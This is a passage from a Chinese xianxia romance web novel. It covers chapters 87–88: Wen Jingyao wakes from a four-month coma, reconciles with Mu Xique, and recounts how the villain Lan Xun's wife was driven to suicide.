狱卒们来不及多想,慌忙跑去开阵,几人用了灵力逆着狂风向前,却透过模糊的视线瞧见远处奔来的三道黑影,他们的速度快极了,从瞧见那三道影子,到他们抵达身前,只有一息功夫。 圆脸狱卒看见三双灰白的眼睛,他惊恐道:“是祟种——” 作者有话说:今天加更,下一章还有,小闻醒了的[撒花] 第87章 第 87 章 “你来得及了,闻惊遥。…… 慕夕阙接到传信时, 是在云川牢狱出事的两刻钟后,他们刚抵达闻家没多久。 离得近的门派赶去阻拦,整个云川阵法全破, 山壁上牢狱全数被击碎,里头羁押的人已尽数消失, 而看守的狱卒也全数被戮。 庄漪禾站在院内, 沉声道:“出逃一百三十五人,这些人修为不低,三只祟种接到命令去攻了云川, 带走这些人,怕是……” 慕夕阙接了她未说完的话:“是兰洵做的,这些人若是化祟, 十三州和海外仙岛便会上演万年前的事。” 万年前, 一百七十三只祟所过之处, 伏尸百万, 血流千里, 十三州和海外仙岛折损了四成的人,几只玉灵以同归于尽的方式守城。 庄漪禾问道:“他到底如何操控祟种的,原先鹤阶借着玄武制厄解煞的力量镇压祟种, 可如今玄武已离开,他为何还能操控祟种?” 这些东西慕夕阙和闻惊遥上辈子也没查出来, 闻惊遥在鹤阶的那百年里, 利用职务将整个十三州查了个遍,可兰洵根本不露面, 关于他的东西少之又少。 慕夕阙只能猜测:“鹤阶镇压祟种靠的是玄武,但兰洵应当不是,他自己便有能操控祟种的法子, 毕竟他连玉灵都能束缚,他是几十年前出现在鹤阶的,在之前的那些年里,他在做什么呢?” “……在戮杀玉灵吗?” “或许不仅如此。”慕夕阙回道,“方才我已传信告知阿娘,去查金龙和十二辰的关系,为何金龙靠十二辰供给,为何十二辰只认慕家血脉,这其中隐情不少。” 庄漪禾不解道:“朝家主与金龙有契约,为何不直接问金龙?” “金龙无法告知,否则也不至于这么多任家主,无一人知晓。”慕夕阙冷声道,“它身上有禁制,它没办法说,或许是慕家老祖留下的禁制,不允后人知晓。” 庄漪禾皱眉道:“那如何能查出来?” 慕夕阙垂眸道:“去陵园,慕家老祖的陵寝便在那里,不过得先找到打开陵寝的禁制。” 院内安静片刻,庄漪禾低声道:“你们难不成要……开陵?” 慕夕阙沉默,这态度便是默认,庄漪禾的音量陡然拔高:“那可是你们慕家老祖的陵寝,如何能开?” “没有办法,关于她的事情记载太少,她死前有意销毁应是不想后辈卷入这些事,可我不觉得以她的谨慎聪慧会不留任何转机。”慕夕阙抬眸与庄漪禾对视,眉心紧蹙,“不管怎么样,我们都得试试。” 在重礼的闻家,此乃大不敬,是要打板子抄家规,甚至革去玉碟的罪。 可这也是慕家的家事,庄漪禾纵使再有不解,也无法多言,两人相对无言。 半刻钟后,庄漪禾忽然吐了口气,她看向慕夕阙身后关上的房门。 “惊遥他……” “医修说他的神魂稳定,但能不能醒,无法保证。” 庄漪禾眼眶通红,她别过头,不忍再看,从闻惊遥到家,她便不敢进去看一眼,生怕自己因此崩溃,无法再撑下去。 慕夕阙垂眸,声音轻了些:“这些时日我会在闻家养伤。” 庄漪禾抬手,擦去眼角的泪,肩膀上仿佛担了万顷重的东西,压得她没办法挺直脊背。 慕夕阙又道:“我和他结了婚契。” 庄漪禾陡然回眸,眸露诧异:“婚期还不到……” “我知道,您便当我们没规矩吧。”慕夕阙低声道。 “小夕,你们……” 庄漪禾的唇翕动几瞬,这事或许慕夕阙能做出来,她向来恣意随心,但闻惊遥行事循规蹈矩,不会不知世家子弟的婚契应留在婚宴那日当众缔结,这是两个家族的结合,需要宣于十三州。 慕夕阙看着庄漪禾,说道:“闻惊遥出事,怕是有人会对闻家不利,在他醒来前,我会守在闻家的。” 她微微颔首,示礼后便转身,进了闻惊遥的房间。 闻少主的屋子不大,且清寒俭朴,一张竹榻,一张屏风,一张衣柜和一张圆桌外便别无它物,桌上还放了两瓶茶叶,应是他晒干后还未来得及送出去的。 慕夕阙坐在椅中,双手环胸看着他,她鲜少有这般清闲的时刻,外头乱成一遭,如今她竟然在这里安静坐着。 重生以来,慕夕阙几乎未静心看过少年时的闻惊遥,每次两人无论再过亲密,她对他的态度都挟霜带冰,利刺毕露。 她凑近了些,离闻惊遥的脸颊只有一寸,垂眸数着他纤长的睫毛,慕夕阙不是没见过比闻惊遥长得精致的,可闻惊遥是她唯一见过骨相最为清绝的。 他的眉眼有庄漪禾的温柔,骨相有闻承禺的冷肃,融合在一起,却又成了独有的闻少主,可闻少主最扬名的并非这张脸,而是他连续几年蝉联论道大会的天才名号。 不过在闻少主前头,还有个人的名号总是压他一头,慕二小姐脾气不好爱揍人的威名远扬,但慕二小姐十一金丹,十五便元婴满境的事情更是传遍整个十三州,连海外仙岛都有所耳闻。 “啧,你还挺会长的,全照着你爹娘的优势长。”慕夕阙抬手戳戳他的鼻梁,她还从未这般对待过他。 慕夕阙坐直身子,看着闻惊遥道:“再有四月便是我的生辰了,闻惊遥,你若是缺我一次生辰礼,这辈子我都不会再理你。” 她顿了下,想到了什么,又笑了声,有些恶趣味地说道:“不过你我的这一辈子也不长,你兴许也就活几个月,我也最多活个百年。” 他们这一生实在太短了。 十二辰和天罡篆之主听着风光,靠的是透支寿数为这片大陆挣得一份生机。 慕夕阙闭上眼,轻轻叹了一声,在空阔的屋子里回荡的,是一声近乎缥缈的低喃。 “太短了,就不跟你生气了,我生了太多气,可不想死了还带着满腔的怒火上路,好累的。”- 闻惊遥昏厥的第三十日,他的十八岁生辰到了。 没有寿宴,闻家崇俭禁奢,便是家主的生辰也是一碗长寿面,也不收礼,闻惊遥也没什么朋友,过去只有慕夕阙给他送礼。 今年也是只有她送礼,慕夕阙想了又想,有好多年没给人过过生辰了,过去她送礼挑贵的送,在慕二小姐的观念里,昂贵的东西一定会有人喜欢。 后来那百年里,她逐渐明白,大雪天里递来的一杯暖茶,比富裕之时送上的一根金簪更重要。 所以慕夕阙出门,给闻惊遥买了身青衫,款式简素,并不贵,比不上慕二小姐的一件里衣价贵。 这一月来,慕夕阙回了慕家三趟。 陵园内的禁制还未打开,朝蕴如今也尚未开陵,唯一算得上好消息的,便是还未传来有祟种戮杀百姓的消息,那些被掳走的罪人也不知所向,并未出没。 慕夕阙能猜出这是因着那狱卒老者的一击将兰洵重创,打乱了兰洵的计划,他如今伤势没养好,不会贸然出手的,应在蓄力中。 越疏棠也传过消息,海外仙岛并未搜到兰洵的踪迹,他这个人宛如人间蒸发了般,踪影全无,如今他们甚至不知他是否还在海外仙岛。 陈夫人的玉镯已被慕夕阙交出去,在朝蕴手中,那枚玉镯已碎裂,融在其中的玉灵之力也已消散,他们并未查到什么,只能转而去查别的。 几乎所有世家都在查万年前的史料,去找关于兰洵和其夫人的记载。 第三个月,闻惊遥的心脉愈合大半,可仍未醒来。 连药谷的医修都被请来了,可诊了闻少主的脉后,也只是困惑摇头。 “不应该啊,神魂稳定,心脉也被温养回来了,怎会不醒呢?” 可闻惊遥就是没醒。 他不是没受过这等重伤,先前一夜内脉搏散了三次都能醒来,如今心脉已愈合,他偏偏就是没醒,像是有什么东西在操控他无法醒来。 第四个月,慕夕阙从画墨阁出来,先看了闻惊遥,这人睡了几月,一点不见醒来的痕迹。 今日日头不错,慕夕阙搬了个椅子坐在院内,仰头望着虚空,闻惊遥这小院着实不大,她待久了竟觉得有些压抑,也不知他过去如何能住下的。 ……闻少主过去常住清心观,那就更苦了,冷得要死,怕是连顿肉都吃不上,只吃素他也能长这般高,着实不易。 慕夕阙闭上眼,她这些时日也在养伤,对外界的事不管不问,全数交给那些长辈处理,这些闲了多年的长老也该慌一慌了,留给小辈们一些喘气的时间。 只有神器之主休养好,十二辰才能积蓄力量,如今天罡篆和十二辰都恢复了几成的神力。 腰上的玉符亮了,慕夕阙眼也不睁,闭目接通。 师盈虚的声音传来:“夕阙,我祖父他们在祭墟镇守了四月,一只祟种都未见到。” “再守着,他一定会动祭墟的。”慕夕阙淡声道。 师盈虚似乎在翻卷宗,声音苦闷:“我祖父再不回来,我要死了,这些东西都不是人看的。” “你是日后的师家家主,师家的家事,再难看你也得看下去。”慕夕阙并未给与好友半分同情。 “闻少主醒了吗?” “没。” “那你还在闻家?” “嗯。” 师盈虚顿了下,忽然问道:“我一直想问,怎么你们去趟海外仙岛,你对他态度好了这么多?” 慕夕阙笑了声:“这么夸张,有好那么多?” 师盈虚一撇嘴,懒洋洋回道:“倒是也没有,但你确实善良不少。” 慕夕阙淡声问:“我以前很恶毒?” “你知道我不是这个意思!”师盈虚在另一端捧着玉符,“我只是觉得,你这些时日好似有些像过去的夕阙了,你知道前几个月自己多陌生吗?” 慕夕阙睁开眼,日头极强,晒在脸上有些暖意,她盯得眼睛酸疼,却不躲不避,仍看着高悬的日头,问道:“很陌生吗……你不喜欢吗?” “怎么会不喜欢啊,你是夕阙啊,你这么好,谁不喜欢你。”师盈虚嘻嘻笑了两声,仍是不正经的模样,并未听出慕夕阙话里的深意,“我只是觉得,慕二小姐天纵奇才,家世显赫,简直就是天之骄子,为何要活得那般小心翼翼,走一步看三步?” “我要是你,有这等实力,我都横着走,谁不服我,我就打服谁。”师盈虚单手托腮,一边批阅卷宗,一边说道,“就像你的名字一样,你是晚霞里伫立的高楼,是能撑起岌岌可危的慕家的人,多少人对你心存期望,你在害怕什么呢?” 很少从师盈虚嘴里听到这些话,胸无点墨的师大小姐被师家人按头读了几个月的书,如今说话都高雅不少。 慕夕阙抬手搭在眼睛上,挡住烈日,闷闷笑了几声:“我怕什么,我什么都不怕,我不会害怕的。” “那不行,你还是要怕些东西的,比如怕死,怕死的人往往会更珍惜自己的性命。”师盈虚笑笑,抬头看了眼圭表,倒抽一口凉气,“不行了不能聊了,一会儿那些老头又该来检查我功课了。” 慕夕阙还没来得及开口,师盈虚便切断了玉符。 慕二小姐也不生气,闭上眼继续晒日头,今日这天气着实好。 她整日在画墨阁和闻惊遥的小院来回走,慕家有事,她会回去一趟,这几月内伤势几乎养好,修为也进境不少,已经能将闻少主甩开一大截了。 马上要到她的十八岁生辰了,闻惊遥这厮还是不醒。 慕夕阙一睡便是半日,傍晚时分日头落山,院里的风似乎凉了些,她皱眉搓搓胳膊,正要拉起滑到膝上的薄毯,有人先她一步,抬手替她盖上薄毯御寒。 慕夕阙睁开眼,冷静看过去。 有四个月没见过闻惊遥睁眼的样子,乍然一看,险些以为自己在做梦。 方才她睡着之时,他应当并未打扰她,而是去盥洗过,换上了慕二小姐搁在他榻边的青衫,那时她买的衣裳,穿在他身上也确实得体,闻少主生得高,穿什么都好看。 慕夕阙皱眉,闭上眼裹了裹毯子,淡声道:“滚。” 闻惊遥薄唇微抿,唇色略显苍白,他在她身侧单膝蹲下,问道:“夕阙,我睡了多久?” “四个月。” “具体多少天?” “一百二十三天。” 闻惊遥垂眸,他算学极好,一息便能反应过来如今的日子,低声道:“还来得及,你的生辰是三日后。” 慕夕阙没说话,两个人时隔四月的见面,并未有煽情的话,反而像是闻少主睡了一个懒觉,慕二小姐生气他睡这般久,淡淡发了个小火。 闻惊遥隔着薄毯握住她的手,掌心交叠搓了搓,似乎这样能给她带来些暖意,他轻声问道:“夕阙,冷不冷?” 已经十一月了,东浔的十一月不如淞溪温暖,会略有些清凉。 慕夕阙挣开他,闭上眼不说话。 闻惊遥拿捏不准她这是在生气,还是困得不想说话,他若是就此不管她会不会生气,他若是追问到底她会不会更生气? 这简直比练上一百册剑法还要难,他素来果断理智,能在最短时间想出最全面的应对法子,从不畏首畏脑,唯独在慕夕阙面前,思前想后,反复斟酌,每一个字都得在嘴里囫囵滚一遍才能说。 闻惊遥不说话,慕夕阙睁开眼,看到他微蹙的眉头,这模样像极了慕夕阙被朝蕴按头学算学的时候,每一个字单拎出来都能看懂,放在一起每一个字都看不懂,令她头疼至极。 “你在想什么?”慕夕阙冷声问。 闻惊遥回神,看着她说道:“在想你,你生气了。” “很难看出来吗?” “不难的。”闻惊遥倒是实诚,“我在想怎么哄你。” 慕夕阙看着他:“你想怎么哄?” 闻惊遥握住她的手,将侧脸枕在她掌心,好声好气商量:“那我们打一架吧,你小时候生气,我陪你打一架你就不生气了。” 小时候是小时候,慕夕阙这些年已成熟不少,撒气不会靠打架。 她翻身侧躺,枕着躺椅上的靠枕,与闻惊遥面对面。 “闻惊遥,你知道我最讨厌你什么吗?” 闻惊遥看着她,垂眸回道:“我的性子过于寡淡。” “错,我最讨厌的是你总自以为是,自己去揣度我的心思,你被闻家教得太死板了,你看似聪慧,实际上你笨死了,不管是前世你为了保全我做那些事,还是今生你在我面前总小心翼翼的样子,我都不喜欢。” 慕夕阙看着他,一口气说完,她仿佛说出了积攒百年的怨怼,深吸一口气,又问道:“那你知道我喜欢你什么吗?” 闻惊遥喉口梗塞,他靠近她,温声道:“我想知道。” 慕夕阙抬手,捏住他的脸颊扯了扯:“喜欢你这张脸,喜欢你这双眼睛。” 这太过表面的喜欢让闻惊遥愣了下。 慕夕阙凑上前,一口咬在他的侧脸,在上面留下个浅浅的牙印。 她退开些,眉梢微扬,说道:“这张扬名十三州的脸只有我能亲,这双眼睛也只装得下我,我喜欢这些。” 闻惊遥弯眸笑起来,他生了双漂亮的凤目,笑起来的时候能融化所有霜雪,削弱轮廓的锐利和周身的清寒,但闻少主鲜少对旁人笑,为数不多的几次笑,都是对着慕二小姐。 他俯身覆上她的唇,轻轻啄了几下。 “我赶不及的事情有许多,我这一生或许只有几月,几年,这太短了,不足以我与你一同看完十三州的山河,或许也等不到盛世清明之际,可人这一生不求漫长,只愿无悔,夕阙,我终于能赶得及一回了,是吗?” 慕夕阙抬手,臂弯自他脖颈交过,她仰头吻上他的唇,轻咬他的唇瓣。 绵绵密密的吻中,气息被彼此吞咽,她并未再尝到苦涩的草药香,也未有血气,她品出了清淡的雪竹气息。 对闻惊遥来说,他这短暂十几年都谨遵十三州律规,守着闻家森严的家规,于雪山之巅耐霜熬寒整整十年,这看似光风霁月、实际一眼就能望到头的无趣大道,有朝一日闯入了个恣意的少女,她的剑将他数次打败,她坚定的道心令他难以望其项背。 他的人生里出现了一个比他的性命重要的人,那是淞溪慕家的二小姐。 于慕夕阙而言,她这并不算长的人生中,幼时便肩负了整个慕家,母亲的期望与严厉、长姐的存在都让她逐渐用骄纵去掩盖她的难过。 于是她爱打架,爱替弱小出头,骄矜蛮横,横行十三州,惹了不少人,从不曾向谁低头,许多人都想按着她的脑袋让她去道歉,维系这虚伪的世家关系。 唯有闻惊遥还是个团子的时候,慕二小姐说揍谁,闻少主拔剑就跟,虽免不了回东浔时候被闻承禺和万初按家规揍,慕夕阙也被朝蕴和慕家长老轮着棍子打,但闻少主下次来还跟她去打架报仇,去铲奸除恶。 这世上太多人要她低头,要她收敛脾气,要她变得稳重,要她担起整个慕家。 只有闻惊遥让她抬起头,她的脾气在他眼里是少女意气,她锋锐无匹的剑招、她蛮横骄纵的性子,他都喜欢。 他喜欢的不是慕家少主,不是十二辰之主,不是十三州的天才,仅仅只是慕夕阙。 慕夕阙咬住他的唇,又松开些,用齿关去磨他,贴着唇说:“你来得及了,闻惊遥。” 作者有话说:小闻为啥昏迷这么久,下一章会写的,不是简单的受伤~ 今天来晚了,本章发个红包[撒花] 第88章 第 88 章 “你得守着我。” 闻惊遥醒了的事情, 在半个时辰后便传遍了闻家和慕家。 东浔主城的修缮已临到收尾,庄漪禾近些时日事务冗杂,方忙完便匆匆朝闻惊遥的小院赶, 因着太急连敲门都忽略了,直接推门。 “惊遥。” 两扇门打开, 她愣了下。 慕夕阙双臂交缠靠在椅中, 面无表情看着青衫少年,而闻惊遥在她对面坐得笔直,一手握着刻刀, 正在…… 雕簪子? 慕夕阙起身:“庄夫人。” 闻惊遥也放下刻刀和玉簪,颔首道:“阿娘。” 庄漪禾皱眉,走进来道:“你们这是做什么呢?” “再有三日是小夕的生辰。”闻惊遥回道, 为庄漪禾添了杯茶。 慕夕阙并未说话, 一同坐了回去。 庄漪禾反应过来, 一路来的担忧都烟消云散, 看着这两个别别扭扭的孩子, 竟有些想笑。 “这般着急,昏厥四月刚醒来就赶工?” 闻惊遥未听出来她话中的促狭,颔首应道:“嗯, 急。” 慕夕阙面无表情,仍安静坐着, 却在桌下踹了他一脚, 闻惊遥默了瞬,看懂了庄漪禾的促狭, 明白了慕夕阙的意思。 他岔开话题,问道:“阿娘,我听夕阙说了云川牢狱的事, 那些人怕是已遭殃。” 提及正事,庄漪禾也无暇再打趣:“是,若那船夫未重伤兰洵,怕兰洵已让那些祟种攻了祭墟,如今兰洵被重伤,他应是将那些祟种调去了其余地方,静待他回来。” 闻惊遥垂眸,低声说道:“兰洵戴的兽脸面具,那张兽脸之主是未收录于《玉灵录》中的玉灵,它名唤獬豸。” 庄漪禾眉心紧蹙:“什么?” 闻惊遥道:“獬豸,身披黑毛,四足,头生独角,善辨曲直,独角指奸佞,双目洞虚实,是万年前护佑蛮荒地界的玉灵,后蛮荒被海水淹没,獬豸失踪。” 庄漪禾顿了一下,忽然反应过来:“蛮荒不是无人居住吗,怎么会有玉灵?” 闻惊遥解释道:“蛮荒地界几万里,多为戈壁,风沙肆虐,寸草不生,确实不是宜居之地,因此鲜少有人涉足,里头的人也不出来,时间久了,在十三州和海外仙岛眼里,变成了无人区。” “你的意思是……里面有人,且有一只玉灵?”庄漪禾听明白了他话中的意思。 “是。”闻惊遥颔首,看了眼慕夕阙,见她始终不说话,他便自己解释,“陈夫人就是从蛮荒出来的,她叫陈知韫,便是在蛮荒边界被兰洵救下的,后来陈夫人跟着兰洵,两人互通情愫,结为道侣。” 庄漪禾愣愣问:“你为何知道的?” “那玉镯确实是陈夫人的遗物,只是那一箭的余压击碎了它* ,里头存储的玉灵之力便是獬豸的力量,以及……夕阙脖颈上的玉坠中存储的玉灵之力,也来源于獬豸。” 闻惊遥看向慕夕阙,她低头解下脖颈上的玉坠,这枚玉坠在先前慕家被攻那日遭遇兰洵重击,已爬上裂痕,明明护佑淞溪的玉灵是金龙,可这枚玉坠中存储的玉灵之力却并非来自金龙。 庄漪禾听得一头雾水:“这怎会与慕家扯上关系?” 慕夕阙看向闻惊遥道:“你来说吧。” 方才闻惊遥已与慕夕阙解释过,如今只差庄漪禾还未知晓。 闻惊遥颔首:“好,我来说。”- 慕家老祖名唤慕念蓁。 十三元婴,二十化神,五十大乘,百岁渡劫,天资绝顶且聪慧敏锐,无论在修行还是经商上,她都力压众人,独身创办慕家,被金龙认可与之契约。 慕念蓁三十岁那年参加论道大会,不仅她,那一年参与其中还有东浔闻家家主,琅嬛南宫家少主,鹤阶少主……一众天之骄子,却被一个凭空冒出的修士揍得毫无还击之力,兰洵也是在那一次论道大会扬名。 彼时灾厄刚降世不久,祟种尚能压制,十三州和海外仙岛如同一体,众世家勠力同心,对这等天纵奇才只有招揽和力捧,包括慕念蓁。 可兰洵生性散漫,只跟这些世家家主和少主们有些往来,却哪个宗门都不加入。 兰洵时常消失几年,天大地大哪里都去,他的家在广阔的天地,他的机缘也在这浩渺尘世间,直到他遇到一个女子,一个弱小到只有筑基修为的人。 遇到陈知韫那日,她正戴着獬豸面具为一处人家断案,却遭了凶手那方的报复,被追杀至悬崖边,兰洵顺手救了她和她那胞妹。 根骨有损,终生不得进境的筑基修士,却捆住了他这个素爱自由的人。 陈知韫身子不好,且带了个凡人胞妹,于是兰洵在一座城内买了处大宅子,此后他有了落脚的家,陈知韫和其妹妹也有了家。 陈知韫也不止是个根骨有损的修士,她是从蛮荒出来的,獬豸有明辨曲直的能力,那时的人尚不多,玉灵之所以叫玉灵,是因着它们会在自己庇佑的百姓所佩戴的玉符中留下力量,獬豸也同样如此。 陈知韫有一枚玉符,在她出蛮荒之际,獬豸留下了足够庇佑她一生的力量。 兰洵经常要去除祟镇邪,陈知韫纵使身子不好,也并非好吃懒做等着夫君养的人,她靠着獬豸给的玉符为百姓断案鸣冤,小到谁家的鸡鸭丢失,大到杀人放火。 他们定居的城池就在淞溪附近,因此慕念蓁常去那里,两位性情相投的人很快便成了挚友,兰洵没少吃闷醋,还在门前挂了“慕念蓁不得入”的牌子,被陈知韫揍了一顿,又灰溜溜地摘下来。 彼时淞溪也方建立不久,一座新城池诞生,无家可归的百姓们迁居而来。 这些来自四海八方的人接受过不同的理念输入,他们的观念不同,且淞溪制度尚未完善,因此常有矛盾,也常有打架失窃、杀生害命之事,陈知韫便将玉符一分为二,赠予了慕念蓁一半。 剩下的一半玉符,她打成了一个镯子,戴在自己的手上。 兰洵并未有异议,本就是陈知韫的东西,她愿赠谁都行。 有了带有獬豸之力的玉符,淞溪的案子急速减少,很快便秩序井然。 祟种愈发多,多数城池被戮,兰洵也时常忙得不见人,慕念蓁亦如此,这些修为高深的大能便是当时除祟的第一战力,有时陈知韫半年都见不到兰洵一次。 她和胞妹共同在家中,抚养着两个收养来的孩子,并不愁吃穿,兰洵挣的银两足够她衣食无忧几百年,但陈知韫闲不住,或许从小被獬豸影响,她也像极了獬豸,见不得一点不公。 陈知韫的断案结了不少仇家,但有兰洵和慕念蓁相护,倒未有仇家敢找上门来。 直到一个雨夜,有人冒着大雨,跑到陈府门口,跪求陈知韫为其秉持公正,缉拿真凶。 城外河中打捞上了一个十六岁的少女尸身,衣衫不整,但未有被侵犯的痕迹,像是自杀,可那少女爹娘绝不信女儿会无故自戕,请陈知韫来断。 事情发生在淞溪地界,慕念蓁曾经说过,若她不在,一切刑罚之事便由陈知韫来判,生杀予夺都掌于她手。 可陈知韫传了所有可疑之人,獬豸之力都未找出真凶,这少女身亡一案放了一月,最后还是以自戕结案。 兰洵两月后归家,妻子却不如过去那般温柔相迎,陈知韫瘦了不少,也憔悴许多。 “夫人?”兰洵走上前,从身后搂住她,亲亲她的耳根,“在想什么,这些时日你都不常与我传信,我在外整日惦记着你。” 陈知韫叹气,说道:“还是那少女的案子,我总觉得并非那般简单。” 她有种超于旁人的直觉,对案子的敏锐度甚至压过不少专门学习刑罚之术的人。 兰洵也跟着叹气,握住她的手搓了搓,替她暖和微凉的手,说道:“你已经尽力了,这世上有太多冤假错案是你无能为力的,你能做的只有竭力找到真凶,令其伏诛,我能做的只有尽力诛恶,杜渐防微。” 这次兰洵在家待了三月。 第四月,不渊海出现大乘境祟种,兰洵和慕念蓁两位修为最高的修士前去镇祟。 陈知韫在一日外出采买时,街上人来人往,她经过一人身旁,手腕的玉镯竟然亮了。 那一刻,一股寒流从脚底一路窜到头顶,她冷然看去,一个衣着华丽的公子哥身后跟着几个小厮装扮的人,几人大摇大摆自街上穿过。 陈知韫独身跟了上去,她只有筑基修为,但对付一个养尊处优的公子哥以及几个并无修为的小厮还是能打的,她将这些人捆了起来押到公堂。 掌刑的修士一瞧来者,脸色骤变,忙将陈知韫扯到一旁:“陈夫人,您知道这人是谁吗!” 陈知韫并不知,她冷着脸道:“无论是谁,他手上有人命,那少女便是他间接杀害的,他强掳民女,那女子剧烈反抗逃出去,被一路追到崖边,只能跳崖。” “陈夫人,那农女的案子已结,淞溪也已给了一万金的抚恤,这公子可是定城林家的小儿子,林家家主最是偏宠他了,且林家近些年来势头正好,已要跻身大宗门了,您这—— “世家子弟就能无视法规?”陈知韫皱眉,甩开掌刑修士的手。 她站在高台上,垂眸望向下方昂首挺胸毫无悔改的林家公子,厉声道:“你强抢民女,逼其跳崖,间接杀人,是为重罪,慕家主给予我处刑的权力,你在淞溪犯罪,当按淞溪律规办事。” 林家公子皱眉:“一个农女而已,你知道小爷我是谁——” 陈知韫如今知道了,却未有半分波澜,这困了她几月的心结终于得解,她满脑子都是那惨死的少女,于是在林家的人到来前,陈知韫便动了手。 獬豸为她指引真凶揭露罪恶,她亲自为受害者讨回公道。 这是她第一次亲手诛杀罪人,长剑割喉而过,枭了林家公子的脑袋。 她素来无畏,她生来被獬豸庇佑,像獬豸一般厌恶奸邪不公,追求正义公理,那一次她仍是这般做了,无所谓会不会招致报复。 也无人会想到,竟真有人敢报复兰洵的夫人,慕家主的挚友。 林家家主并未直接杀了陈知韫,这会为林家招致祸患,他所做的,是趁陈知韫外出采买新衣的时候,将她引去了有秽毒的地方。 一个筑基修士怎么能抵御秽毒呢? 獬豸之力也无法阻拦秽毒。 借刀杀人,简直是再好不过的法子了,只要陈知韫感染了秽毒,整个十三州和海外仙岛都会是杀她的凶手,届时兰洵能找谁报仇,他难不成要向这片大陆宣战? 成大事者,又怎么能在乎一个女子的生死呢? 十三州和海外仙岛一起派出修士,去逼迫陈知韫自戕,他们那些时日都说了什么呢? “陈夫人,还请您不要让兰前辈为难,他若是得知,定会徇私,兰前辈一届散修走到如今并不容易。” “陈夫人,您秉公持正,我们都感激您,可如今也确实……没有办法了,祟种太恐怖了,我们死了太多人了。” …… 陈知韫这样的人,又怎么会让自己成为兰洵的拖累,成为危害世间的存在? 在意识到她感染秽毒后,她的孩子也会成为祟种的事实,她当即拔剑自刎,伤口极深,几乎枭断自己的脖子,血流了满屋,染红了那些修士们的眼睛,也逼疯了刚从不渊海回来的兰洵。 他的大道在看到妻子的尸身,以及那些跪了满院,假惺惺哭泣的修士后,已全数崩塌。 他可以接受陈知韫天人五衰,可以接受陈知韫为道而死,却唯独不能接受这么好的一个人,是被人谋害后逼死的。 这些修士可以关押身染秽毒的陈知韫,等兰洵回来定夺,却唯独不能在他为这片大陆的安危以命相搏之时,用道义去逼死他的妻子。 甚至这些人还哭着对他说—— “兰前辈,您日后还会遇到别人,会有新的孩子,陈夫人身子骨这般弱,本就活不了多久啊。” “兰前辈,您莫要糊涂啊,您得为十三州、为海外仙岛、为其他人的妻子孩子考虑啊!” 那谁来为陈知韫考虑,谁来为兰洵和她的孩子考虑? 他保护的人向保护他的人拔刀,逼死他的夫人和他们的孩子,这世道还有什么公平正义,他又为何要再保护他们? 于是兰洵向这世间宣战了。 兰洵戴上初遇妻子之时,她佩戴的獬豸面具,去为他的妻子讨回公道,向这些逼死陈知韫的凶手们讨罪。 他向林家引去了十几只祟种,祟种屠了林家满门,逼得镇守的玉灵出山,与祟种大战后虚弱无力,兰洵趁那时候杀了这只玉灵,剥离了它的心脏,换给了陈知韫。 他戴上妻子的獬豸面具,带着已成为祟种的妻子,这一次他们走南闯北,杀遍整片大陆。 能明辨是非曲直,铲奸除恶的獬豸,这一次断的,是这整片大陆的生死。 …… 庄漪禾仍怔愣着。 万年前的事情留到现在早已不剩什么东西,加上当年的先辈们有意销毁,乍一听闻,她无法短暂接受。 慕夕阙道:“这枚玉坠便是当年陈夫人赠予我慕家老祖的那一半玉符,被打成了小巧的玉坠,后来的慕家家主估摸着以为是老祖留下来的护体玉灵,便一直传了下来。” 院内安静许久,末了,庄漪禾开口道:“无论如何,兰洵如今已走到极端,獬豸它……它还在吗?” 闻惊遥道:“不知,这玉镯里的玉灵之力只够我看到陈夫人死后没多久,当年的祟难令许多城池门派被灭,蛮荒里的人也不一定还在。” 庄漪禾叹气,这些事讲完,如今天色也晚了,她起身看向闻惊遥:“你身子既然无碍,那便不让医修来了,惊遥,得好好休息,近些时日因着你的事,小夕也不得休息。” 她顿了顿,说道:“这件事事关重大,我得去告知朝家主和其余世家,你们早些歇息,有事联络。” 闻惊遥和慕夕阙目送庄漪禾离开。 她人刚走远,慕夕阙便看了眼桌上的玉屑,说道:“还有三日,给我雕好。” 闻惊遥笑起来:“嗯,好。” 慕夕阙起身便往外走,闻惊遥收起玉簪跟上,两人并肩走着,他牵住她的手,被慕夕阙瞪了一眼,少年也不生气,唇角弯起。 慕夕阙边走边问:“天谴的事不打算告知你阿娘吗?” 闻惊遥唇角的笑敛去,他垂下长睫,两人走得很慢。 “嗯,不说吧,我是必死的结局,让阿娘知晓了,仅剩的这些时日她也只会以泪洗面,徒增伤悲。” 慕夕阙没再说话。 去往画墨阁的路上偶尔能见到闻家弟子,见两人牵着手,弟子们连招呼都不打了,低头从他们身边经过,闻惊遥从前脸皮薄得一戳便破,如今倒是能坦然自若了。 送她到画墨阁门前,他松开手,看着慕夕阙道:“夕阙,你愿意与我办婚宴吗?” 慕夕阙没说话。 闻惊遥低头,忽然自己笑了几声:“我命不久矣不该耽误你,可你应了我的情谊,无论是看我活不了多久施舍的一些恩惠,还是旁的,总之你既然答应了,我便想自私一回。” “嗯,确实是你自私了,本小姐样样都比得过你,你这是高攀。”慕夕阙抬手,指腹抬起他的下颌,略有些挑衅地摸了摸,“不过这张脸我喜欢,你就当我好色吧。” 闻惊遥上前一步,将她抱进怀里,下颌枕在她的肩头,他小声道:“我好舍不得你。” 慕夕阙笑了几声:“怎么,要把我一起带走?” “不要说这种话。”闻惊遥打断她,扣在她腰间的手收紧了些,他闭上眼,低声道,“我喜欢你,会盼着你更好,活得更长久,夕阙,你得活到盛世清明之际,那是你穷尽一生追求的天下。” “然后呢?”慕夕阙懒洋洋道,“反正我也活不了多久,你要不走慢一些,咱俩一块儿轮回啊。” 闻惊遥并未说话。 慕夕阙忽然就不笑了。 她被他抱着,透过他的肩膀看到他身后黑黝黝的竹林,黑暗让她无端有些烦闷。 慕夕阙道:“也是,天谴之下只有魂飞魄散这一条路了,那我就自己走了。” 闻惊遥道:“对不起,夕阙。” 慕夕阙安静许久,在他说了不知道多少句“对不起”后,她闭上眼,骂道:“小时候就该一剑捅死你,眼不见心不烦。” “夕阙,对不起。”闻惊遥只能将她再抱紧些,紧紧抱着。 慕夕阙伸出手抱住他的腰,低声道:“我不想去管外面的事,我太累了,那些人歇得够久了也该忙忙了,就这段时间我们偷懒,什么都不管,你陪我打架玩乐,我说什么你都得听着。” “嗯,好。”闻惊遥偏头亲亲她的侧脸,“你说什么我都听。” 慕夕阙道:“你住画墨阁,你得守着我。” 作者有话说:獬豸主要是象征司法公正,天生能辨善恶,有很多地方都会出现,比如古代府衙前的獬豸雕像,以及一些官员戴的獬豸帽~ 兰洵接受不了的点就是,自己拼命守护的人逼死了自己一心追求公正的妻子,却还要他“理性公正”地继续护佑这片大陆。 第89章 第 89 章 